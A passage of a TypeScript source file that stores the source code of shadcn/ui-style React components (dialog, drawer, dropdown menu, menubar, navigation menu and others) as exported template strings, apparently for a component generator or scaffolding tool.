data-[state=checked]:text-gray-50 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300 dark:data-[state=checked]:bg-gray-50 dark:data-[state=checked]:text-gray-900\",\n className\n )}\n {...props}\n >\n <CheckboxPrimitive.Indicator\n className={cn(\"flex items-center justify-center text-current\")}\n >\n <Check className=\"h-4 w-4\" />\n </CheckboxPrimitive.Indicator>\n </CheckboxPrimitive.Root>\n))\nCheckbox.displayName = CheckboxPrimitive.Root.displayName\n\nexport { Checkbox }\n\n`;\nexport const collapsible = `import * as CollapsiblePrimitive from \"@radix-ui/react-collapsible\"\n\nconst Collapsible = CollapsiblePrimitive.Root\n\nconst CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger\n\nconst CollapsibleContent = CollapsiblePrimitive.CollapsibleContent\n\nexport { Collapsible, CollapsibleTrigger, CollapsibleContent }\n\n`;\nexport const dialog = `import * as React from \"react\"\nimport * as DialogPrimitive from \"@radix-ui/react-dialog\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Dialog = DialogPrimitive.Root\n\nconst DialogTrigger = DialogPrimitive.Trigger\n\nconst DialogPortal = DialogPrimitive.Portal\n\nconst DialogClose = DialogPrimitive.Close\n\nconst DialogOverlay = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Overlay\n ref={ref}\n className={cn(\n \"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n className\n )}\n {...props}\n />\n))\nDialogOverlay.displayName = DialogPrimitive.Overlay.displayName\n\nconst DialogContent = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n <DialogPortal>\n <DialogOverlay />\n <DialogPrimitive.Content\n ref={ref}\n className={cn(\n \"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border border-gray-200 bg-white p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n >\n {children}\n <DialogPrimitive.Close className=\"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-white transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-gray-100 data-[state=open]:text-gray-500 dark:ring-offset-gray-950 dark:focus:ring-gray-300 dark:data-[state=open]:bg-gray-800 dark:data-[state=open]:text-gray-400\">\n <X className=\"h-4 w-4\" />\n <span className=\"sr-only\">Close</span>\n </DialogPrimitive.Close>\n </DialogPrimitive.Content>\n </DialogPortal>\n))\nDialogContent.displayName = DialogPrimitive.Content.displayName\n\nconst DialogHeader = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col space-y-1.5 text-center sm:text-left\",\n className\n )}\n {...props}\n />\n)\nDialogHeader.displayName = \"DialogHeader\"\n\nconst DialogFooter = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2\",\n className\n )}\n {...props}\n />\n)\nDialogFooter.displayName = \"DialogFooter\"\n\nconst DialogTitle = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Title\n ref={ref}\n className={cn(\n \"text-lg font-semibold leading-none tracking-tight\",\n className\n )}\n {...props}\n />\n))\nDialogTitle.displayName = DialogPrimitive.Title.displayName\n\nconst DialogDescription = React.forwardRef<\n React.ElementRef<typeof DialogPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <DialogPrimitive.Description\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nDialogDescription.displayName = DialogPrimitive.Description.displayName\n\nexport {\n Dialog,\n DialogPortal,\n DialogOverlay,\n DialogClose,\n DialogTrigger,\n DialogContent,\n DialogHeader,\n DialogFooter,\n DialogTitle,\n DialogDescription,\n}\n\n`;\nexport const drawer = `import * as React from \"react\"\nimport { Drawer as DrawerPrimitive } from \"vaul\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Drawer = ({\n shouldScaleBackground = true,\n ...props\n}: React.ComponentProps<typeof DrawerPrimitive.Root>) => (\n <DrawerPrimitive.Root\n shouldScaleBackground={shouldScaleBackground}\n {...props}\n />\n)\nDrawer.displayName = \"Drawer\"\n\nconst DrawerTrigger = DrawerPrimitive.Trigger\n\nconst DrawerPortal = DrawerPrimitive.Portal\n\nconst DrawerClose = DrawerPrimitive.Close\n\nconst DrawerOverlay = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <DrawerPrimitive.Overlay\n ref={ref}\n className={cn(\"fixed inset-0 z-50 bg-black/80\", className)}\n {...props}\n />\n))\nDrawerOverlay.displayName = DrawerPrimitive.Overlay.displayName\n\nconst DrawerContent = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n <DrawerPortal>\n <DrawerOverlay />\n <DrawerPrimitive.Content\n ref={ref}\n className={cn(\n \"fixed inset-x-0 bottom-0 z-50 mt-24 flex h-auto flex-col rounded-t-[10px] border border-gray-200 bg-white dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n >\n <div className=\"mx-auto mt-4 h-2 w-[100px] rounded-full bg-gray-100 dark:bg-gray-800\" />\n {children}\n </DrawerPrimitive.Content>\n </DrawerPortal>\n))\nDrawerContent.displayName = \"DrawerContent\"\n\nconst DrawerHeader = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\"grid gap-1.5 p-4 text-center sm:text-left\", className)}\n {...props}\n />\n)\nDrawerHeader.displayName = \"DrawerHeader\"\n\nconst DrawerFooter = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\"mt-auto flex flex-col gap-2 p-4\", className)}\n {...props}\n />\n)\nDrawerFooter.displayName = \"DrawerFooter\"\n\nconst DrawerTitle = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <DrawerPrimitive.Title\n ref={ref}\n className={cn(\n \"text-lg font-semibold leading-none tracking-tight\",\n className\n )}\n {...props}\n />\n))\nDrawerTitle.displayName = DrawerPrimitive.Title.displayName\n\nconst DrawerDescription = React.forwardRef<\n React.ElementRef<typeof DrawerPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof DrawerPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <DrawerPrimitive.Description\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nDrawerDescription.displayName = DrawerPrimitive.Description.displayName\n\nexport {\n Drawer,\n DrawerPortal,\n DrawerOverlay,\n DrawerTrigger,\n DrawerClose,\n DrawerContent,\n DrawerHeader,\n DrawerFooter,\n DrawerTitle,\n DrawerDescription,\n}\n\n`;\nexport const dropdownMenu = `import * as React from \"react\"\nimport * as DropdownMenuPrimitive from \"@radix-ui/react-dropdown-menu\"\nimport { Check, ChevronRight, Circle } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst DropdownMenu = DropdownMenuPrimitive.Root\n\nconst DropdownMenuTrigger = DropdownMenuPrimitive.Trigger\n\nconst DropdownMenuGroup = DropdownMenuPrimitive.Group\n\nconst DropdownMenuPortal = DropdownMenuPrimitive.Portal\n\nconst DropdownMenuSub = DropdownMenuPrimitive.Sub\n\nconst DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup\n\nconst DropdownMenuSubTrigger = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {\n inset?: boolean\n }\n>(({ className, inset, children, ...props }, ref) => (\n <DropdownMenuPrimitive.SubTrigger\n ref={ref}\n className={cn(\n \"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-gray-100 data-[state=open]:bg-gray-100 dark:focus:bg-gray-800 dark:data-[state=open]:bg-gray-800\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n >\n {children}\n <ChevronRight className=\"ml-auto h-4 w-4\" />\n </DropdownMenuPrimitive.SubTrigger>\n))\nDropdownMenuSubTrigger.displayName =\n DropdownMenuPrimitive.SubTrigger.displayName\n\nconst DropdownMenuSubContent = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n <DropdownMenuPrimitive.SubContent\n ref={ref}\n className={cn(\n \"z-50 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nDropdownMenuSubContent.displayName =\n DropdownMenuPrimitive.SubContent.displayName\n\nconst DropdownMenuContent = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n <DropdownMenuPrimitive.Portal>\n <DropdownMenuPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n </DropdownMenuPrimitive.Portal>\n))\nDropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName\n\nconst DropdownMenuItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <DropdownMenuPrimitive.Item\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nDropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName\n\nconst DropdownMenuCheckboxItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n <DropdownMenuPrimitive.CheckboxItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n checked={checked}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <DropdownMenuPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </DropdownMenuPrimitive.ItemIndicator>\n </span>\n {children}\n </DropdownMenuPrimitive.CheckboxItem>\n))\nDropdownMenuCheckboxItem.displayName =\n DropdownMenuPrimitive.CheckboxItem.displayName\n\nconst DropdownMenuRadioItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n <DropdownMenuPrimitive.RadioItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <DropdownMenuPrimitive.ItemIndicator>\n <Circle className=\"h-2 w-2 fill-current\" />\n </DropdownMenuPrimitive.ItemIndicator>\n </span>\n {children}\n </DropdownMenuPrimitive.RadioItem>\n))\nDropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName\n\nconst DropdownMenuLabel = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <DropdownMenuPrimitive.Label\n ref={ref}\n className={cn(\n \"px-2 py-1.5 text-sm font-semibold\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nDropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName\n\nconst DropdownMenuSeparator = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <DropdownMenuPrimitive.Separator\n ref={ref}\n className={cn(\"-mx-1 my-1 h-px bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n))\nDropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName\n\nconst DropdownMenuShortcut = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n return (\n <span\n className={cn(\"ml-auto text-xs tracking-widest opacity-60\", className)}\n {...props}\n />\n )\n}\nDropdownMenuShortcut.displayName = \"DropdownMenuShortcut\"\n\nexport {\n DropdownMenu,\n DropdownMenuTrigger,\n DropdownMenuContent,\n DropdownMenuItem,\n DropdownMenuCheckboxItem,\n DropdownMenuRadioItem,\n DropdownMenuLabel,\n DropdownMenuSeparator,\n DropdownMenuShortcut,\n DropdownMenuGroup,\n DropdownMenuPortal,\n DropdownMenuSub,\n DropdownMenuSubContent,\n DropdownMenuSubTrigger,\n DropdownMenuRadioGroup,\n}\n\n`;\nexport const hoverCard = `import * as React from \"react\"\nimport * as HoverCardPrimitive from \"@radix-ui/react-hover-card\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst HoverCard = HoverCardPrimitive.Root\n\nconst HoverCardTrigger = HoverCardPrimitive.Trigger\n\nconst HoverCardContent = React.forwardRef<\n React.ElementRef<typeof HoverCardPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof HoverCardPrimitive.Content>\n>(({ className, align = \"center\", sideOffset = 4, ...props }, ref) => (\n <HoverCardPrimitive.Content\n ref={ref}\n align={align}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 w-64 rounded-md border border-gray-200 bg-white p-4 text-gray-950 shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nHoverCardContent.displayName = HoverCardPrimitive.Content.displayName\n\nexport { HoverCard, HoverCardTrigger, HoverCardContent }\n\n`;\nexport const input = `import * as React from \"react\"\nimport { cn } from \"../../lib/utils\"\n\nexport interface InputProps\n extends React.InputHTMLAttributes<HTMLInputElement> {}\n\nconst Input = React.forwardRef<HTMLInputElement, InputProps>(\n ({ className, type, ...props }, ref) => {\n return (\n <input\n type={type}\n className={cn(\n \"flex h-10 w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm ring-offset-white file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-gray-500 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:border-gray-800 dark:bg-gray-950 dark:ring-offset-gray-950 dark:placeholder:text-gray-400 dark:focus-visible:ring-gray-300\",\n className\n )}\n ref={ref}\n {...props}\n />\n )\n }\n)\nInput.displayName = \"Input\"\n\nexport { Input }\n`;\nexport const label = `import * as React from 'react';\nimport * as LabelPrimitive from '@radix-ui/react-label';\nimport { cva, type VariantProps } from 'class-variance-authority';\n\nimport { cn } from '../../lib/utils';\n\nconst labelVariants = cva(\n \"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70\"\n)\n\nconst Label = React.forwardRef<\n React.ElementRef<typeof LabelPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> &\n VariantProps<typeof labelVariants>\n>(({ className, ...props }, ref) => (\n <LabelPrimitive.Root\n ref={ref}\n className={cn(labelVariants(), className)}\n {...props}\n />\n))\nLabel.displayName = LabelPrimitive.Root.displayName\n\nexport { Label }\n`;\nexport const menuBar = `\nimport * as React from \"react\"\nimport * as MenubarPrimitive from \"@radix-ui/react-menubar\"\nimport { Check, ChevronRight, Circle } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst MenubarMenu = MenubarPrimitive.Menu\n\nconst MenubarGroup = MenubarPrimitive.Group\n\nconst MenubarPortal = MenubarPrimitive.Portal\n\nconst MenubarSub = MenubarPrimitive.Sub\n\nconst MenubarRadioGroup = MenubarPrimitive.RadioGroup\n\nconst Menubar = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.Root\n ref={ref}\n className={cn(\n \"flex h-10 items-center space-x-1 rounded-md border border-gray-200 bg-white p-1 dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n />\n))\nMenubar.displayName = MenubarPrimitive.Root.displayName\n\nconst MenubarTrigger = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Trigger>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.Trigger\n ref={ref}\n className={cn(\n \"flex cursor-default select-none items-center rounded-sm px-3 py-1.5 text-sm font-medium outline-none focus:bg-gray-100 focus:text-gray-900 data-[state=open]:bg-gray-100 data-[state=open]:text-gray-900 dark:focus:bg-gray-800 dark:focus:text-gray-50 dark:data-[state=open]:bg-gray-800 dark:data-[state=open]:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nMenubarTrigger.displayName = MenubarPrimitive.Trigger.displayName\n\nconst MenubarSubTrigger = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.SubTrigger>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.SubTrigger> & {\n inset?: boolean\n }\n>(({ className, inset, children, ...props }, ref) => (\n <MenubarPrimitive.SubTrigger\n ref={ref}\n className={cn(\n \"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[state=open]:bg-gray-100 data-[state=open]:text-gray-900 dark:focus:bg-gray-800 dark:focus:text-gray-50 dark:data-[state=open]:bg-gray-800 dark:data-[state=open]:text-gray-50\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n >\n {children}\n <ChevronRight className=\"ml-auto h-4 w-4\" />\n </MenubarPrimitive.SubTrigger>\n))\nMenubarSubTrigger.displayName = MenubarPrimitive.SubTrigger.displayName\n\nconst MenubarSubContent = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.SubContent>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.SubContent\n ref={ref}\n className={cn(\n \"z-50 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nMenubarSubContent.displayName = MenubarPrimitive.SubContent.displayName\n\nconst MenubarContent = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Content>\n>(\n (\n { className, align = \"start\", alignOffset = -4, sideOffset = 8, ...props },\n ref\n ) => (\n <MenubarPrimitive.Portal>\n <MenubarPrimitive.Content\n ref={ref}\n align={align}\n alignOffset={alignOffset}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 min-w-[12rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 shadow-md data-[state=open]:animate-in data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n </MenubarPrimitive.Portal>\n )\n)\nMenubarContent.displayName = MenubarPrimitive.Content.displayName\n\nconst MenubarItem = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Item> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <MenubarPrimitive.Item\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nMenubarItem.displayName = MenubarPrimitive.Item.displayName\n\nconst MenubarCheckboxItem = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.CheckboxItem>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n <MenubarPrimitive.CheckboxItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n checked={checked}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <MenubarPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </MenubarPrimitive.ItemIndicator>\n </span>\n {children}\n </MenubarPrimitive.CheckboxItem>\n))\nMenubarCheckboxItem.displayName = MenubarPrimitive.CheckboxItem.displayName\n\nconst MenubarRadioItem = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.RadioItem>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n <MenubarPrimitive.RadioItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <MenubarPrimitive.ItemIndicator>\n <Circle className=\"h-2 w-2 fill-current\" />\n </MenubarPrimitive.ItemIndicator>\n </span>\n {children}\n </MenubarPrimitive.RadioItem>\n))\nMenubarRadioItem.displayName = MenubarPrimitive.RadioItem.displayName\n\nconst MenubarLabel = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Label> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <MenubarPrimitive.Label\n ref={ref}\n className={cn(\n \"px-2 py-1.5 text-sm font-semibold\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nMenubarLabel.displayName = MenubarPrimitive.Label.displayName\n\nconst MenubarSeparator = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.Separator\n ref={ref}\n className={cn(\"-mx-1 my-1 h-px bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n))\nMenubarSeparator.displayName = MenubarPrimitive.Separator.displayName\n\nconst MenubarShortcut = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n return (\n <span\n className={cn(\n \"ml-auto text-xs tracking-widest text-gray-500 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n )\n}\nMenubarShortcut.displayname = \"MenubarShortcut\"\n\nexport {\n Menubar,\n MenubarMenu,\n MenubarTrigger,\n MenubarContent,\n MenubarItem,\n MenubarSeparator,\n MenubarLabel,\n MenubarCheckboxItem,\n MenubarRadioGroup,\n MenubarRadioItem,\n MenubarPortal,\n MenubarSubContent,\n MenubarSubTrigger,\n MenubarGroup,\n MenubarSub,\n MenubarShortcut,\n}\n\n`;\nexport const navigationMenu = `import * as React from \"react\"\nimport * as NavigationMenuPrimitive from \"@radix-ui/react-navigation-menu\"\nimport { cva } from \"class-variance-authority\"\nimport { ChevronDown } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst NavigationMenu = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Root>\n>(({ className, children, ...props }, ref) => (\n <NavigationMenuPrimitive.Root\n ref={ref}\n className={cn(\n \"relative z-10 flex max-w-max flex-1 items-center justify-center\",\n className\n )}\n {...props}\n >\n {children}\n <NavigationMenuViewport />\n </NavigationMenuPrimitive.Root>\n))\nNavigationMenu.displayName = NavigationMenuPrimitive.Root.displayName\n\nconst NavigationMenuList = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.List>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.List>\n>(({ className, ...props }, ref) => (\n <NavigationMenuPrimitive.List\n ref={ref}\n className={cn(\n \"group flex flex-1 list-none items-center justify-center space-x-1\",\n className\n )}\n {...props}\n />\n))\nNavigationMenuList.displayName = NavigationMenuPrimitive.List.displayName\n\nconst NavigationMenuItem = NavigationMenuPrimitive.Item\n\nconst navigationMenuTriggerStyle = cva(\n \"group inline-flex h-10 w-max items-center justify-center rounded-md bg-white px-4 py-2 text-sm font-medium transition-colors hover:bg-gray-100 hover:text-gray-900 focus:bg-gray-100 focus:text-gray-900 focus:outline-none disabled:pointer-events-none disabled:opacity-50 data-[active]:bg-gray-100/50 data-[state=open]:bg-gray-100/50 dark:bg-gray-950 dark:hover:bg-gray-800 dark:hover:text-gray-50 dark:focus:bg-gray-800 dark:focus:text-gray-50 dark:data-[active]:bg-gray-800/50 dark:data-[state=open]:bg-gray-800/50\"\n)\n\nconst NavigationMenuTrigger = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <NavigationMenuPrimitive.Trigger\n ref={ref}\n className={cn(navigationMenuTriggerStyle(), \"group\", className)}\n {...props}\n >\n {children}{\"\"}\n <ChevronDown\n className=\"relative top-[1px] ml-1 h-3 w-3 transition duration-200 group-data-[state=open]:rotate-180\"\n aria-hidden=\"true\"\n />\n </NavigationMenuPrimitive.Trigger>\n))\nNavigationMenuTrigger.displayName = 